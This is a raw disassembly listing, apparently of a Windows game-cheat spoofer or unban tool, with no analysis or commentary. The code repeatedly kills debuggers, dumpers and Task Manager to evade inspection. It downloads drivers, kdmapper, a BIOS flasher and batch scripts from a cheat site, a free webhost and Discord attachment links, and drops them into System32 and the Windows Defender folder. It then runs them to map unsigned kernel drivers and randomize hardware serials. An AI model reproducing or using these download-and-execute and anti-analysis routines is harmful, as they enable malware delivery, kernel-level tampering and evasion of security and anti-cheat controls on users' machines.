call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adopngbypas.bat
call fcn.1402b632c
lea rcx, [rsp + 0xdb30]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdb50]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdb70]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdb90]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdbb0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdbd0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdbf0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdc10]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdc30]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdc50]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdc70]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xdc90]
call fcn.14005d8e0
movss xmm2, dword [0x14039ce20]
movss xmm1, dword [0x14039ce48]
lea rcx, [rsp + 0x748]
call fcn.14005eef0
lea rdx, [rsp + 0x748]
lea rcx, str.TEMP
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x140080027
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USFNAPEXCODCLEANER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USeacunban.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USFIVE_M.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USDISCORDVERSION.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USBATTLENET.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USVALORANT.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodeeepcleanwifisystem.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoeacunban.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIVE_M.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDISCORDVERSION.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoBATTLENET.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoVALORANT.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoen_USFNAPEXCODCLEANER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocleanerrandom2.bat
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_GUIDCHANGER.bat
lea rcx, [rsp + 0xddf0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoGUIDCHANGER.bat
lea rcx, [rsp + 0xddb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xddb0]
call fcn.14005d8d0
mov qword [rsp + 0x750], rax
lea rcx, [rsp + 0xddf0]
call fcn.14005d8d0
mov qword [rsp + 0x758], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x750]
mov rdx, qword [rsp + 0x758]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoGUIDCHANGER.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.https:__sandiest_buttons.000webhostapp.com_Spoofyyerrrerst.sys
lea rcx, [rsp + 0xdd90]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesWindows_DefenderOfflineSpoofyyerrrerst.sys
lea rcx, [rsp + 0xdd70]
call fcn.14005d9d0
nop
lea rdx, str.https:__sandiest_buttons.000webhostapp.com_diskDRIVE.sys
lea rcx, [rsp + 0xdd50]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesWindows_DefenderOfflinediskDRIVE.sys
lea rcx, [rsp + 0xdd30]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_kdmapper.exe
lea rcx, [rsp + 0xdd10]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesWindows_DefenderOfflinekdmapper.exe
lea rcx, [rsp + 0xdcf0]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_DriverMapper.bat
lea rcx, [rsp + 0xdcd0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesWindows_DefenderOfflineDriverMapper.bat
lea rcx, [rsp + 0xdcb0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xdd70]
call fcn.14005d8d0
mov qword [rsp + 0x760], rax
lea rcx, [rsp + 0xdd90]
call fcn.14005d8d0
mov qword [rsp + 0x768], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x760]
mov rdx, qword [rsp + 0x768]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xdd30]
call fcn.14005d8d0
mov qword [rsp + 0x770], rax
lea rcx, [rsp + 0xdd50]
call fcn.14005d8d0
mov qword [rsp + 0x778], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x770]
mov rdx, qword [rsp + 0x778]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xdcf0]
call fcn.14005d8d0
mov qword [rsp + 0x780], rax
lea rcx, [rsp + 0xdd10]
call fcn.14005d8d0
mov qword [rsp + 0x788], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x780]
mov rdx, qword [rsp + 0x788]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xdcb0]
call fcn.14005d8d0
mov qword [rsp + 0x790], rax
lea rcx, [rsp + 0xdcd0]
call fcn.14005d8d0
mov qword [rsp + 0x798], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x790]
mov rdx, qword [rsp + 0x798]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesWindows_DefenderOfflineDriverMapper.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32Mobo.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769226113054_AMI.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32_amifldrv64.sys
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769909780491_amifldrv64.sys
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32_amifldrv32.sys
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1138723769582620694_amifldrv32.sys
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Windows_nfLauncher.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_995890179493605376_1139989094840152174_nfLauncher.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.C:WindowsSystem32Mobo.exe__GAN__random___random___random_
lea rcx, [rsp + 0x2cf0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2cf0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2cf0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__PPIN__random___random___random_
lea rcx, [rsp + 0x2d10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2d10]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2d10]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EAX__random___random___random_
lea rcx, [rsp + 0x2d30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2d30]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2d30]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EBX__random___random___random_
lea rcx, [rsp + 0x2d50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2d50]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2d50]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ECX__random___random___random_
lea rcx, [rsp + 0x2d70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2d70]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2d70]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__EDX__random___random___random_
lea rcx, [rsp + 0x2d90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2d90]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2d90]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CIMV2__random___random___random_
lea rcx, [rsp + 0x2db0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2db0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x2db0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__WMI__random___random___random_
lea rcx, [rsp + 0x2dd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x2dd0]
call fcn.14006c020
nop
